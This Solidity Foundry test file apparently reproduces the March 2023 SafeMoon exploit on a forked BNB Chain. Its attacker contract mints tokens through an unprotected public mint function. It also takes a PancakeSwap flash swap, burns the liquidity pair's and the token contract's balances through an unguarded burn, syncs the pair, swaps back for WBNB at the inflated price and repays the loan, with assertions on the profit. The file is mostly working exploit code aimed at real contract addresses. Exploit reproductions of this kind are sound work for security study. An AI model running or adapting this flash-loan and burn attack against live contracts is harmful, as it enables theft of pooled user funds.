src/test/2023-03/safeMoon_exp.sol

1pragma solidity ^0.8.13;
2 
3import "forge-std/Test.sol";
4 
5interface IUniswapV2Router02 {
6    function WETH() external pure returns (address);
7 
8    function routerTrade() external pure returns (address);
9}
10 
11interface ISafemoon {
12    function uniswapV2Router() external returns (IUniswapV2Router02);
13 
14    function uniswapV2Pair() external returns (address);
15 
16    function bridgeBurnAddress() external returns (address);
17 
18    function approve(address spender, uint256 amount) external;
19 
20    function balanceOf(
21        address account
22    ) external view returns (uint256);
23 
24    function mint(address user, uint256 amount) external;
25 
26    function burn(address from, uint256 amount) external;
27}
28 
29interface ISafeSwapTradeRouter {
30    struct Trade {
31        uint256 amountIn;
32        uint256 amountOut;
33        address[] path;
34        address payable to;
35        uint256 deadline;
36    }
37 
38    function getSwapFees(uint256 amountIn, address[] memory path) external view returns (uint256 _fees);
39 
40    function swapExactTokensForTokensWithFeeAmount(
41        Trade calldata trade
42    ) external payable;
43}
44 
45interface IWETH {
46    function approve(address, uint256) external returns (bool);
47 
48    function transfer(address, uint256) external returns (bool);
49 
50    function balanceOf(
51        address
52    ) external view returns (uint256);
53}
54 
55interface IPancakePair {
56    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
57}
58 
59interface IPancakeCallee {
60    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
61}
62 
63interface IUniswapV2Pair {
64    function sync() external;
65}
66 
67contract SafemoonAttackerTest is Test, IPancakeCallee {
68    ISafemoon public sfmoon;
69    IPancakePair public pancakePair;
70    IWETH public weth;
71 
72    function setUp() public {
73        vm.createSelectFork("bsc", 26_854_757);
74 
75        sfmoon = ISafemoon(0x42981d0bfbAf196529376EE702F2a9Eb9092fcB5);
76        pancakePair = IPancakePair(0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1);
77        weth = IWETH(sfmoon.uniswapV2Router().WETH());
78    }
79 
80    function testMint() public {
81        vm.rollFork(26_854_757);
82 
83        uint256 originalBalance = sfmoon.balanceOf(address(this));
84        emit log_named_uint("sfmoon balance before:", originalBalance);
85        assertEq(originalBalance, 0);
86 
87        sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress()));
88 
89        uint256 currentBalance = sfmoon.balanceOf(address(this));
90        emit log_named_uint("sfmoon balance after:", currentBalance);
91        assertEq(currentBalance, 81_804_509_291_616_467_966);
92    }
93 
94    function testBurn() public {
95        vm.rollFork(26_864_889);
96 
97        uint256 originalBalance = weth.balanceOf(address(this));
98        emit log_named_uint("weth balance before:", originalBalance);
99        assertEq(originalBalance, 0);
100 
101        pancakePair.swap(1000 ether, 0, address(this), "ggg");
102 
103        uint256 currentBalance = weth.balanceOf(address(this));
104        emit log_named_uint("weth balance after:", currentBalance);
105        assertEq(currentBalance, 27_463_848_254_806_782_408_231);
106    }
107 
108    function doBurnHack(
109        uint256 amount
110    ) public {
111        swappingBnbForTokens(amount);
112        sfmoon.burn(sfmoon.uniswapV2Pair(), sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1_000_000_000);
113        sfmoon.burn(address(sfmoon), sfmoon.balanceOf(address(sfmoon)));
114        IUniswapV2Pair(sfmoon.uniswapV2Pair()).sync();
115        swappingTokensForBnb(sfmoon.balanceOf(address(this)));
116    }
117 
118    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
119        require(msg.sender == address(pancakePair));
120        require(sender == address(this));
121 
122        doBurnHack(amount0);
123        weth.transfer(msg.sender, (amount0 * 10_030) / 10_000);
124    }
125 
126    function swappingBnbForTokens(
127        uint256 tokenAmount
128    ) private {
129        address[] memory path = new address[](2);
130        path[0] = address(weth);
131        path[1] = address(sfmoon);
132 
133        ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());
134        weth.approve(address(sfmoon.uniswapV2Router()), tokenAmount);
135 
136        uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);
137        ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({
138            amountIn: tokenAmount,
139            amountOut: 0,
140            path: path,
141            to: payable(address(this)),
142            deadline: block.timestamp
143        });
144        tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);
145    }
146 
147    function swappingTokensForBnb(
148        uint256 tokenAmount
149    ) private {
150        address[] memory path = new address[](2);
151        path[0] = address(sfmoon);
152        path[1] = address(weth);
153 
154        ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());
155        sfmoon.approve(address(sfmoon.uniswapV2Router()), tokenAmount);
156 
157        uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);
158        ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({
159            amountIn: tokenAmount,
160            amountOut: 0,
161            path: path,
162            to: payable(address(this)),
163            deadline: block.timestamp
164        });
165        tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);
166    }
167}